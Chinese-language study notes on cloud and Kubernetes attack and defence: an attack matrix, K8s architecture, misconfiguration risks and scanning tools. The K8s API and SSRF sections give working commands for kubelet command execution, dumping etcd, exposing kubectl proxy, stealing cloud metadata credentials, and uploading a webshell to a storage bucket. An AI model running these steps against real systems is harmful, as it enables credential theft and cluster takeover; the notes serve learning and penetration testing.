一、参考资料:

这些都是比较不错的资料
https://www.bilibili.com/video/BV1qA411x73A?
https://www.yuque.com/swteam/sw/cu6g6x
https://blog.csdn.net/bloodzero_new/article/details/110670478
https://zone.huoxian.cn/?q=%E4%BA%91%E5%AE%89%E5%85%A8
https://mp.weixin.qq.com/s/6MaRiXk5_VUYfL1TWcGR4Q
https://zone.huoxian.cn/d/1028-cvm
对象存储攻防
https://mp.weixin.qq.com/s/1FDlM6vXiHqDR6dchZpftQ
https://mp.weixin.qq.com/s/ncWGrMsIAvh9HEK1QC5IGQ //腾讯的云鼎实验室公众号可以看一看
K8S安全
https://mp.weixin.qq.com/s/8lhmjPtLTlVkS1Q3-6-mHA
https://mp.weixin.qq.com/s/T2QGLlKwjaUByDtGFL94PQ
元数据
https://zone.huoxian.cn/d/927-cloud-redteamcny
火线云安全专场回顾
https://zone.huoxian.cn/d/916-22
写的很全
https://zone.huoxian.cn/u/42342

https://wiki.teamssix.com/About/
https://github.com/neargle/my-re0-k8s-security
https://github.com/UzJu/Cloud-Bucket-Leak-Detection-Tools

二、云鼎实验室安全攻防矩阵

初始访问 ==> 执行 ==> 持久化 ==> 权限提升 ==> 防御绕过 ==> 窃取凭据 ==> 探测 ==> 横向移动 ==> 影响
实例登录信息泄露 通过控制台登录实例执行 利用远程控制软件 通过访问管理提权 关闭安全监控服务 获取服务器实例登录账号 云资产探测 使用实例账号爆破 数据泄漏
账户劫持 写入userdata执行命令 在userdata中添加后门 利用应用程序提权 监控区域外进行攻击 元数据服务获取角色临时凭据 网络扫描 窃取角色临时凭据横向访问 资源劫持
网络钓鱼 利用后门文件执行指令 在自定义镜像库中导入后门镜像 创建高权限角色 禁用日志记录 获取K8s configfile 探测Kubernetes Dashboard 通过漏洞逃逸到宿主机 网络逃逸
应用程序漏洞 利用应用程序执行 给现有的用户分配额外的密钥 利用操作系统漏洞进行提权 日志清理 元数据服务获取角色临时凭据 探测 Kubernetes APIServer 通过配置错误逃逸到宿主机 拒绝服务
使用恶意或存在漏洞的自定义镜像 利用SSH服务进入实例执行 建立辅助账号登录 利用特权容器提权 关闭容器安全产品 用户账号数据泄露 网络扫描 通过K8s Dashboard横向移动 数据丢失
应用程序漏洞 利用远程代码执行漏洞执行 在云函数中添加后门 利用错误配置提权 常规Pod中植入后门 获取配置文件中的应用凭证
窃取角色临时凭据访问云服务 服务滥用
使用恶意或存在漏洞的自定义镜像 部署后门容器 通过容器逃逸向宿主机写入文件 利用操作系统漏洞提权 日志清理 云服务凭证泄露
窃取凭据访问云服务 权限接管
暴露 Kubernetes 控制面板 进入容器执行 在自定义镜像库中镜像植入后门 利用Kubernetes 漏洞进行提权 通过代理访问

窃取用户账号攻击其他应用
kubeconfig文件泄露 利用SSH服务进入容器执行 K8s 定时任务 利用Docker漏洞提权




对象存储SDK泄露 利用远程代码执行漏洞执行 cos存储攻击方式 cos存储攻击方式




存储桶工具配置文件泄露 使用云API执行命令 在存储对象中植入后门 通过Write Acl提权




前端直传功能获取凭据 使用云厂商工具执行
通过访问管理提权




实例元数据服务未授权访问







云平台账号非法登录







云平台主API密钥泄露







三、基础知识

1、云计算的基本概念:

云计算这些基本上都是各大公有云提供,比如华为云,阿里云,百度云,腾讯云,还有很多小云厂商等。用户可通过互联网访问公有云,但数据将通过虚拟化与其他用户的数据隔离,以提高安全性。
Iaas 云服务器,云存储,最原始的云服务器,VPS
Paas 中间件,应用服务器,不需要部署基础设施了
Saas 虚拟的软件,例如OA,CRM,ERP等
ECS——云服务器,其实就是Iaas的应用产品化
RDS——云数据库
元数据——描述”数据”的数据,
元数据服务——查看实例的元数据
元数据服务部署在链路本地地址上,源数据服务只能从实例内部访问。
VPC——相对于传统网络安全架构里局域网的概念,比如传统局域网里有路由器交换机,VPC里也有类似的东西,一个VPC就是一个Vlan。
负载均衡SLB——与传统的网络中的负载均衡类似,对流量进行按需分发,消除系统的单点故障,不过SLB也分为很多种,比如阿里就推出ALB(面对HTTP和HTTPS等场景),CLB(传统类型负载均衡。)

2、常见云架构和云原生安全

如下图所示是一个简单的云上架构,通过负载均衡到ECS的云服务器,静态资源使用OSS文件存储,动态数据使用数据库RDS存储。
image.png

云原生安全要防护的东西
何为云原生安全?
云(Cloud)表示应用程序位于云中,而不是传统的数据中心;
原生(Native)表示应用程序从设计之初即考虑到云的环境,原生为云而设计,在云上以最佳状态运行,充分利用和发挥云平台的弹性和分布式优势;
image.png
硬件安全: 可信环境,除了一些国家很重要的保密单位感觉不必看这个
宿主机安全: 云是寄托在真实的硬件服务器上的,宿主机的真实服务和真实的操作系统可以看在这一层。
容器编排安全:Kubernetes服务等可以看在这一个层面
应用层: 由微服务、Service Mesh(云网络通信)、容器技术(Docker等)、容器镜像(仓库)组成

3、云的OWASP TOP 11

image.png

三、K8S基础知识

容器是重要的组成部分,具有占用资源少部署快的强大优点。比如常见的docker。当容器规模大了以后,就需要对这些容器集群进行编排维护,所以就有了k8s技术。那么K8s技术就是针对容器的编排,管理的技术。
K8s由主控节点master和工作节点worker组成
master负责资源调度,维护状态;有如下组件
1、APIserver——集群入口,一般通过kubectl来与该API进行交互
2、Controller-manager——处理集群后台任务,一个资源对应一个控制器
3、Scheduler——节点调度,node的应用部署,将pod放在哪个node节点上,对节点的负载,性能进行考虑
4、Etcd——存储系统,用于保存数据

worker负责跑应用服务,两者通过kubelet进行通信;有如下组件
1、kubelet——派到node节点的agent,负责管理本机容器的操作
2、kube-proxy——用于网络代理,实现node之间的负载均衡
3、pod——k8s的最小单元,一组容器的组合就叫pod,在pod里共享网络。

1、K8S的工作流程:

1、根据用户需求事业kubectl调用APIserver对于的API功能
2、APIserver根据命令类型此时会联动Controller-manager和Scheduler等组件,然后通过调用kubelet来管理worker进行下发新建容器,或者下发命令执行到对应node节点的。
3、Node节点此时会操作容器进行交互,完成下发的命令并返回结果
4、返回的结果根据实际情况存储在Etcd中。

2、安全机制:

1、认证,判断用户是否为合法用户
2、鉴权,API的某些权限也要进行鉴定,看调度的是否合法
3、准入控制,类似于ACL,在鉴权之后执行。

3、认证与鉴权:

认证
token涉及到对集群和pod的操作,这是我们比较关注的
X509证书认证是kubernetes组件默认使用的认证方式,也是一种比较安全的方式。
image.png
鉴权
当用户认证通过后,就会执行用户鉴权流程,
image.png
RBAC目前是最主要的鉴权方式(基于角色的访问控制),当RBAC无法满足某些特定需求时,需要自行编写鉴权逻辑,通过webhook的方式注册更加复杂的授权规则。

4、命名空间:

K8S存在命名空间的概念。K8S支持多个虚拟集群,底层依赖于同一个物理集群,虚拟机群也被叫做命名空间,命名空间是划分资源的一种方法,而每种角色又只能访问它所对应的命名空间中的资源。
大概的关系如下
命名空间——————》多种角色——————》资源
系统默认有4个命名空间
kubectl get ns 查看命名空间

  1. default 没有指明使用其它名字空间的对象所使用的默认名字空间
  2. kube-system Kubernetes 系统创建对象所使用的名字空间
  3. kube-public 此命名空间下的资源可被所有人访问(包括未授权用户)
  4. kube-node-lease 集群之间的心跳维护

在RBAC中我们知道是基于角色的权限控制,角色分为两大类,一类是普通角色role,一类是集群角色clusterrole,而这两大类的角色下又有很多划分更细致的角色,其中普通角色是分配运行的容器的,基于容器之上的管理;而集群角色不用多说,是直接管理集群的。

default命名空间里查看普通角色有啥,没有配置就没有
image.png
kube-system命名空间查看普通角色有啥,没有配置有系统自带的
image.png
集群角色有很多,在kube-system和default命名空间里查看都是如下的角色。
image.png

集群角色中存在一个最高权限cluster-admin,他拥有所有的资源的权限。
admin权限也很大,但是比cluster-admin小了一些。

四、云上可能存在的问题

对于整个安全的防护关注,主要可以围绕着下面三大块来进行
1、攻击前:减少攻击面
2、攻击时:降低攻击成功率
3、攻击后:减少攻击成功后能获取的有价值的东西

除去传统的Web漏洞问题,云上部署带来方便性和安全性的同时,也增加了一些非云业务的漏洞类型。传统 IDC 部署和云端部署差异最大的点在于《账户》、《应用》、《网络》

1、漏洞问题(包括-凭证的保管)

1)、公司云账户泄露

比如AK,SK(不同的云对它的命名可能不同),这个access-key泄露的话可能就直接拿下云服务器权限了。

2)、云原生架构API未授权风险

在云原生架构中存在大量的应用API,通过直接调用API可以对云原生进行大量的操作,一旦API出现未授权漏洞,则可能导致整个云原生架构的安全问题

3)、k8s集群内横向无法发现

集群存在Pod权限,当拿下pod权限时,外部无法发现。

4)、容器安全问题

当创建容器时不恰当产生一些配置错误,或者是产生容器逃逸的安全问题,会直接导致宿主机沦陷,而这里的宿主机不是一般的宿主机,可能管控是成百上千台容器云服务器,造成的危害巨大。

5)、云上架构风险

使用云服务会打破传统的网络隔离的限制,使得防火墙之类的安全防护失效。

之后就会出现如下的安全问题,在以往的内外部渗透测试突破过程中:

  • 在配置云服务过程中,泄漏云账号(ak/sk)可直接控制云上资源;
  • 在使用k8s过程中,未能对API做鉴权,集群证书在外部泄漏,都会导致整个集群被接管;
  • 在集群使用中,除了漏洞外,错误的配置pod会让容器逃逸的风险变大;
  • 在集群内部对pod进行横向移动扫描,无适配云架构的hids无法检测;
  • 在企业内网中,存在API跨传统网络区域访问,可管理不同区域的pods,打破网络边界

2、租户网络配置风险问题

1、高危端口对外开放——这个和一般的网络架构没啥区别
2、VPC未隔离
VPC是指私有网络,私有网络是针对公有云的基础网络(经典网络)来定义的一种概念。
如果企业用户的测试和生产处于同一VPS,可能会产生资产管理之后导致的一系列问题

3、资产管理的不明确

以前的IDC机房,可能就几个小房间,或者一层楼。
现在的云IDC可能就会分部在各个地方,给云资产的管理带来不便。

如何管理呢?
1、白盒资产管理
https://bloodzer0.github.io/ossa/other-security-branch/asset-management/asset-acquisition/
2、黑盒资产资产管理
3、Msscan+nmap的扫描方案

五、K8s的API风险漏洞

K8s中存在最大的问题就是未授权问题
image.png

1、6443/8080端口未授权

如下是没有漏洞的
image.png
但是在当运维人员存在配置不当的情况下,就可能存在将”system:anonymous”用户绑定到”cluster-admin”用户组,此时就会出现如下情况。
image.png
如上其实就出现了k8s未授权漏洞
访问https://192.168.41.22:6443/api/v1/namespaces/kube-system/secrets/ 即可获取大量token信息。
此时的token账户选择我们得选系统非自带账户或default账户,或者admin账户之类的,拿到token后下载一个kubectl就可以接管集群了。

2、kubelet节点未授权

每个node节点都有一个kubelet服务用来与集群通信,kubelet监听了10250,10248,10255等端口。
正常访问是这样的
image.png
配置了如下认证
image.png
image.png
拿到了如上的未授权,还是需要使用kubeletctl工具

  1. 连接容器
  2. ./kubeletctl pods -s 192.168.41.23 --port 10250
  3. 执行命令
  4. curl -k https://nodeip:10250/run/$namespace/$POD/$CONTAINERS -d "cmd=ls" --insecure
  5. curl -k https://192.168.41.23:10250/run/default/nginx-f89759699-tct4p/nginx -d "cmd=ls" --insecure
  6. 执行命令后可以尝试容器逃逸

3、etcd未授权访问

默认端口为2379端口,如下dir:true就存在未授权访问
image.png

  1. 下载etcdctl
  2. 通过如下命令可以遍历所有的key
  3. ETCDCTL_API=3 ./etcdctl --endpoints=http://IP:2379/ get / --prefix --keys-only
  4. 如果服务器启用了https,需要加上两个参数忽略证书校验
  5. --insecure-transport 和--insecure-skip-tls-verify
  6. ETCDCTL_API=3 ./etcdctl --insecure-transport=false --insecure-skip-tls-verify --endpoints=https://IP:2379/ get / --prefix --keys-only
  7. 通过v3APIdump数据库到 output.data
  8. ETCDCTL_API=3 ./etcdctl --insecure-transport=false --insecure-skip-tls-verify --endpoints=https://IP:2379/ get / --prefix --keys-only | sort | uniq | xargs -I{} sh -c 'ETCDCTL_API=3 ./etcdctl --insecure-transport=false --insecure-skip-tls-verify --endpoints=https://IP:2379 get {} >> output.data && echo "" >> output.data'

4、dashboard未授权访问

k8s存在一个图形化界面,端口在30000+以上随机开放。
存在两种利用方式:
1、利用之前的未授权漏洞直接拿到admin相关的token,直接登录,gui界面更方便操作
2、利用配置不当,例如下面存在跳过选项,可以直接跳过登录。
image.png

5、Kubectl Proxy

当运维人员需要某个环境暴露端口或者IP时,会用到Kubectl Proxy使用kubectl proxy命令就可以使API server监听在本地的8009端口上,此时我们便可使用kubectl工具来进行代理直接访问到K8S集群里的内容。

  1. kubectl --insecure-skip-tls-verify proxy --accept-hosts=^.*$ --address=0.0.0.0 --port=8009
  2. kubectl -s http://192.168.11.152:8009 get pods -n kube-system

六、云存储安全漏洞:

用户所上传的文件都是以对象形式存储在云端,以对象形式形式存在的文件不具备可执行权限。在大环境下很多企业将静态文件托管代对象存储中。

存储桶相关安全问题如下可见:
https://www.yuque.com/iceqaq/imaaxb/qbyk8y/edit

七、容器风险(docker)

容器风险基本上可以认为就是容器逃逸的风险,基本有4个攻击面
1、Linux内核逃逸漏洞
2、容器自身的安全漏洞
3、不安全的配置
4、docker API未授权

详情可查看https://www.yuque.com/iceqaq/imaaxb/dqlgpv/

八、云计算服务器安全风险

镜像源问题

云服务器支持自定义导入镜像,且导入的方式比较统一,基本上都是由对象存储的方式来进行导入,输入OSS-KEY的地址,然后云服务器会进行下载导入。
如果云服务器的该镜像被劫持了,会造成污染镜像源的“供应链攻击”
image.png
并且云服务器支持“制作镜像”,类似于克隆服务器,如果该服务器存在漏洞的话,也会产生很大的问题。

批量计算

一些云服务器厂商提供了批量计算的服务,只需配置参数,即可对服务器的资源进行计算。
大部分使用OSS来控制参数的输入输出,若该 oss-bucket 可控,则可直接控制批量计算的服务命令等。
image.png

九、云上攻防之SSRF

由于云厂商提供云服务均使用同一套网络边界和鉴权系统,且各云组件默认相互信任。此时一旦存在SSRF漏洞,此类边界将不复存在。

元数据服务

云实例中存在一个元数据服务用于查看实例中的元数据,以AWS举例,在实例内部访问地址
http://169.254.169.254/latest/meta-data/ 即可访问到元数据服务,也正因为它存在于本地链路169,因此别人是访问不到的,但是如果该云实例服务器存在SSRF漏洞呢?

攻击请求:
AWS
http://x.x.x.x/url=http://169.254.169.254/latest/metadata/iam/security-credentials/
/latest/meta-data/ami-id
/latest/meta-data/iam/security-credentials/
/latest/user-data/
/latest/dynamic/instance-identity/document
/latest/meta-data/iam/info

看了一下,阿里云的元数据服务地址如下,和AWS的不大一样。

image.png

image.png
google的API元数据
http://metadata.google.internal/computeMetadata/v1beta1/instance/service-accounts/default/token

获取到一些相关的敏感资料后,可以做很多事情,比如获取到
AWS_ACCESS_KEY_ID、AWS_SECRET_ACCESS_KEY、AWS_SESSION_TOKEN后,可以使用AWSCLI执行命令

当然不是一定能获取到这些凭据的,需要管理员给ECS(云服务器)配置RAM角色,如果没有配置该角色,部分路由会404。

google Cloud /computeMetadata/v1/
Azure /metadata/instance?api-version=2017-04-02
Oracle cloud /opc/v1/instance

甚至可能存在如下操作:
测试人员通过SSRF漏洞攻击元数据服务,并将获取到的AK信息存储到日志服务中,然后在日志服务中获取到了AK信息,最终通过获取到的AK信息控制了超过200台服务器

获取临时凭证后,可以获取到实例的控制权限,
aws s3 cp s3://elasticbeanstalk-region-account-id/ /攻击者本地目录 –recursive 上传
aws s3 cp webshell.zip s3:// elasticbeanstalk-region-account-id/ 选组
之后可上传恶意文件到存储桶中,如果该存储桶持续交付,持续更新,那么可能导致自动在用户实例上更新部署,从而将攻击者上传的webshell部署至实例上,导致云横向扩散

攻击kubelet API/docker API

在云环境我们知道K8s 有kubelet API可能产生未授权漏洞。可通过Kubelet API查询集群pod和node的信息,也可通过其执行命令。
因此就能通过SSRF对该kubelet API进行攻击,以下攻击属于kubelet内网未授权。
image.png
同样可用于攻击Docker API 默认端口为2375,如果该API未授权,可直接执行命令,甚至后续可进行docker逃逸。

不止SSRF

针对云厂商提供的Web应用托管服务的攻击不止可以使用SSRF,比如类似的XXE,危害更高的RCE等都可以产生如上危害。

十、针对云原生安全渗透工具

1、容器漏洞扫描

trivy
https://github.com/aquasecurity/trivy
容器安全,关于容器安全方面的比较有价值的一些工具,包括扫描容器安全性,比如说它是严重或者高危等等,都会给我们提供一些参考。

2、kubernetes集群中的安全漏洞

https://github.com/aquasecurity/kube-hunter
这个是针对于K8S集群进行一些渗透测试,然后会发现整个集群存在哪些严重的问题。对这些问题,可能需要人工进一步的确认,判断哪些可能有重大的隐患,再进行修复

3、Falco

http://github.com/falcosecurity/falco
这是安全运行的安全监控,监控它的容器运行的可疑行为,执行了哪些可疑的操作。发送警报,集中分析这样一个工具,然后它会进行一系列的告警

4、洞态IAST

洞态IAST进行针对研发测试过程中的全自动安全测试
从测试阶段全自动化的分析到采用了哪些安全组件,哪些组件安全是属于高危
image.png
可以用作代码审计的分析

十一、总结

整个云安全大体可以分为两个层面
第一层是LAAS的基础建设,就是传统的VM虚拟化到云上的容器化,以及微服务化,这一款其实就是基础平台的传统漏洞,以及一些云上安全架构的漏洞,比如容器安全,k8s安全等,以及一些传统的安全对抗,这一块是花的时间比较多的。

第二块是SAAS层,SAAS层分为两块,第一块是对人服务的,也就是直接写后端API,然后前端写界面直接调用;第二块是对机器的,比如云地图之类的,那么现在直接在云上开个服务你花钱直接调用我们的接口就好了。相对的安全需求就是API的安全